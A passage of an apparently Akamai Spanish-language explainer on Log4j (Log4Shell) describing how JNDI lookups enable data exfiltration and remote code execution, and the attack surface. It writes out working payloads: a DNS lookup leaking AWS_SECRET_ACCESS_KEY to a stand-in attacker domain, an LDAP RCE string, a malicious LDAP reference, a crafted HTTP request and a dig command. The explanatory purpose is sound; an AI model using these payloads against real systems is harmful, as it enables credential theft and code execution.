Retrospectiva sobre Log4j, parte 2: Exfiltración de datos y ejecución remota de código
Exfiltración de datos
En la parte 1, hablamos sobre el origen de la vulnerabilidad. Ahora, vamos a analizar las auténticas vulnerabilidades. Como se mencionó en la publicación anterior, la JNDI no solo permite consultar datos locales en el entorno de ejecución de Java, sino también en sistemas remotos como DNS y LDAP. Mediante la combinación de JNDI, sistemas remotos, la búsqueda env y el anidamiento, se puede crear una carga que, cuando se introduce en el texto, da lugar a una exfiltración de datos.
En este ejemplo, imagine que el atacante posee el nombre de dominio: malware.ejemplo.
Nota: Utilizamos un nombre de dominio de nivel superior ".ejemplo" para evitar hacer referencia a un nombre de dominio real en este documento, pero el lector debe imaginar que se puede reemplazar por cualquier nombre de dominio que pueda comprar un atacante.
A continuación, imagine que el atacante puede manipular el texto que se envía a Log4j. Más adelante explicaremos cómo se puede hacer. En este ejemplo, supongamos que el texto se ve de la siguiente manera:
"Escriba: ${jndi:dns://127.0.0.1:53/${env:USER}.malware.ejemplo}"
Siguiendo los principios de anidación descritos anteriormente, Log4j evaluaría primero ${env:USER}, y así se buscaría al usuario que ejecuta el software. Imaginemos que es Administrador. Log4j lo sustituiría de nuevo en el texto y se generaría esta línea de registro provisional:
"Escriba: ${jndi:dns://127.0.0.1:53/Administrador.malware.ejemplo}"
Esta línea aún incluye una expresión de búsqueda:
${jndi:dns://127.0.0.1:53/Administrador.malware.ejemplo}
Log4j detecta esta expresión de búsqueda basada en JNDI, analiza la seudoURL de dns://127.0.0.1:53/Administrador.malware.ejemplo, y la envía a la JNDI. La JNDI reconoce que esta seudoURL requiere el proveedor de DNS y realiza una búsqueda de DNS mediante la resolución del host local para Administrador.malware.ejemplo.
Como malware.ejemplo es propiedad del atacante malicioso, la consulta de DNS Administrador.malware.ejemplo llega a su servidor de DNS autoritativo. Si observamos la consulta de DNS, el atacante ha descubierto que el software que utiliza el código Log4j vulnerable se ejecuta como usuario Administrador.
Así vemos cómo los datos pueden filtrarse fácilmente si se proporcionan cargas cuidadosamente creadas a Log4j. Y si bien la filtración del usuario actual ya es algo terrible, hay información mucho peor y mucho más secreta que puede filtrarse.
Como ejemplo (y este ha ocurrido de verdad), vea lo que sucede si cambiamos ${env:USER} por ${env:AWS_SECRET_ACCESS_KEY}, de forma que se genera la siguiente cadena:
"Escriba: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.ejemplo}"
Si aplicamos la lógica anterior, generaría una consulta de DNS que llega al servidor de DNS autoritativo del atacante. Dicha consulta incluye la clave de acceso secreta de AWS para el entorno de Amazon en el que se ejecuta el código de Log4j. La filtración de información como esta podría hacer que se tomara el control de las instancias de AWS.
Cualquier información que se encuentre en el entorno del software que ejecuta el código vulnerable al que se puede acceder a través de una expresión de búsqueda de Log4j puede anidarse fácilmente y convertirse para llegar a un sistema controlado por el atacante.
Y, aunque ya de por sí es terrible, puede empeorar mucho más.
Ejecución remota de código
La implementación de la JNDI de forma predeterminada en algunas versiones de Java permite que algunos servicios de directorio respondan a consultas, de forma directa e indirecta, con código remoto que la máquina que emite la consulta puede ejecutar localmente.
Por ejemplo, el proveedor de servicios de directorio de LDAP en instalaciones vulnerables permite que un servidor de LDAP responda a una consulta con lo que se conoce como referencia. Esta referencia indica la ubicación remota del código que se descargará y ejecutará localmente.
Aunque puede parecer una locura, tiene usos válidos en entornos muy controlados en los que se confía en el servidor LDAP y la infraestructura asociada. Los problemas se producen cuando un atacante puede dirigir el equipo solicitante a un servidor de LDAP poco fiable que controla. El atacante puede enviar referencias al código malicioso que la JNDI descargará y ejecutará en el equipo host.
Dado que las instancias de Log4j vulnerables permiten el acceso ilimitado a JNDI a través de expresiones de búsqueda, se puede cargar y ejecutar código remoto a través de líneas de registro cuidadosamente creadas. Imagine que se envía el siguiente mensaje a Log4j:
"Escriba: ${jndi:ldap://rce.malware.ejemplo/a}"
En sistemas vulnerables, Log4j detecta la expresión de búsqueda ${jndi:ldap://rce.malware.ejemplo/a}, extrae la seudoURL de la JNDI, ldap://rce.malware.ejemplo/a, y la envía a la JNDI para que la procese. La JNDI detecta que esta URL utiliza el proveedor de servicios de directorio de LDAP y realiza una consulta de LDAP al sitio rce.malware.ejemplo .
Como rce.malware.ejemplo es propiedad de un atacante malicioso y también es operada por este, el atacante envía una carga de referencia como respuesta LDAP parecida a esta:
dn:
javaClassName: exploit
javaCodeBase: http://rce.malware.com/exploit/
objectClass: javaNamingReference
javaFactory: exploitFactory
La JNDI, al recibir esta respuesta, se comunica con la URL del servidor web de http://rce.malware.com/exploit/ , descarga la carga de ejecución remota de código malicioso asociada y, por último, la ejecuta en el sistema con Log4j.
Superficie de amenazas
Para todos estos terribles ataques, es necesario enviar a Log4j mensajes creados especialmente. Por lo tanto, es lógico preguntarse: ¿Cómo puede hacer esto un atacante? La respuesta es aprovechar cualquier oportunidad en la que se pueda registrar la información que proporcionan.
Actualmente, el vector de ataque más común son las aplicaciones basadas en la web. Muchas de estas aplicaciones registran interacciones con usuarios finales que visitan el sitio. Por ejemplo, pueden registrar la ruta solicitada, junto con el usuario-agente, la hora y el resultado de la solicitud.
Con esta información, un adversario puede conectarse a una aplicación web y emitir una solicitud como esta:
GET /${jndi:ldap://rce.malware.ejemplo/a} HTTP/1.1
Host: www.webapp.ejemplo
Usuario-agente: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.ejemplo}
La aplicación web, al recibir la solicitud, analizaría la ruta de /${jndi:ldap://rce.malware.ejemplo/a} y el usuario-agente de ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.ejemplo}y enviaría ambos a Log4j. Si lo hace en un sistema vulnerable, la clave de acceso secreta de AWS se filtrará junto con el código arbitrario que se descarga y ejecuta.
Aunque es cierto que las aplicaciones basadas en la web son actualmente el principal objetivo, es muy importante recordar que se puede atacar cualquier servicio que cumpla los siguientes criterios:
Ejecuta Java
Utiliza una versión vulnerable de Log4j para registrar mensajes
Registra alguna información que proporciona el atacante (URL, encabezados, cookies, consultas, etc.)
En ese sentido, Akamai ha detectado que otro vector de ataque es el DNS, aunque con una incidencia mucho menor que la variante de aplicaciones web. En un intento de ver si hay alguna resolución de DNS vulnerable, los atacantes emiten consultas de DNS con cargas de ataque integradas. Puede ser algo tan simple como emitir la siguiente búsqueda de DNS desde la línea de comandos:
# dig '${jndi:ldap://rce.malware.ejemplo/a}.foo.ejemplo'
Solicita al sistema en el que se ejecuta el comando que emita una consulta de DNS a la resolución configurada del host para la propia cadena de búsqueda de Log4j. La resolución de DNS que reciba dicha consulta puede registrarla, especialmente porque contiene caracteres no válidos. Si esa resolución de DNS utiliza Java y una versión vulnerable de la biblioteca Log4j para el registro, se ejecutará el ataque.
Dicho ataque no se limita a la consulta. Otro enfoque que Akamai supervisa es la carga que se integra en una respuesta de DNS. Muchas consultas de DNS pueden dar como resultado respuestas que contengan información distinta de direcciones IP, como CNAME, TXT, SRV y PTR. Tenemos pruebas de que los atacantes manipulan los registros de las respuestas que poseen para integrar cadenas de ataque que atacan a las resoluciones del lado de respuesta, así como a aplicaciones que pueden registrar los resultados de dichas búsquedas.
Y esto es solamente arañar la superficie con protocolos de Internet muy conocidos. La superficie de amenaza se extiende mucho más allá de estos casos de uso. De hecho, los investigadores de seguridad han demostrado recientemente que, si se cambia el nombre de un iPhone a una cadena de ataque susceptible de Log4j, los servidores de la infraestructura de Apple responden, lo que indica que los equipos vulnerables han procesado el nombre del teléfono.
Para comprender lo grave que es esta vulnerabilidad,, debemos tener en cuenta que Java se ejecuta en miles de millones de dispositivos de todo el mundo, y que Log4j es una de las bibliotecas de registro más utilizadas. Absolutamente todo, desde servidores web hasta máquinas expendedoras, podría ser vulnerable y, en el caso de dispositivos integrados y del Internet de las cosas, es posible que ni siquiera se puedan aplicar parches a muchos de ellos.
De hecho, la superficie de amenaza está compuesta no solo por la gran cantidad de dispositivos expuestos a este ataque, sino también por el tiempo durante el que estarán expuestos. La combinación de la gran presencia y la imposibilidad de aplicar parches de algunos componentes significa que esta vulnerabilidad probablemente estará con nosotros años, y no solo meses, y que eclipsará las vulnerabilidades anteriores conocidas, como Shellshock y Heartbleed, tanto por el tamaño de la superficie de ataque como por el impacto.
Siguiente artículo
No se pierda la parte 3, en la que se analizará la evolución del ataque y las mitigaciones disponibles para proteger su organización en este entorno cambiante.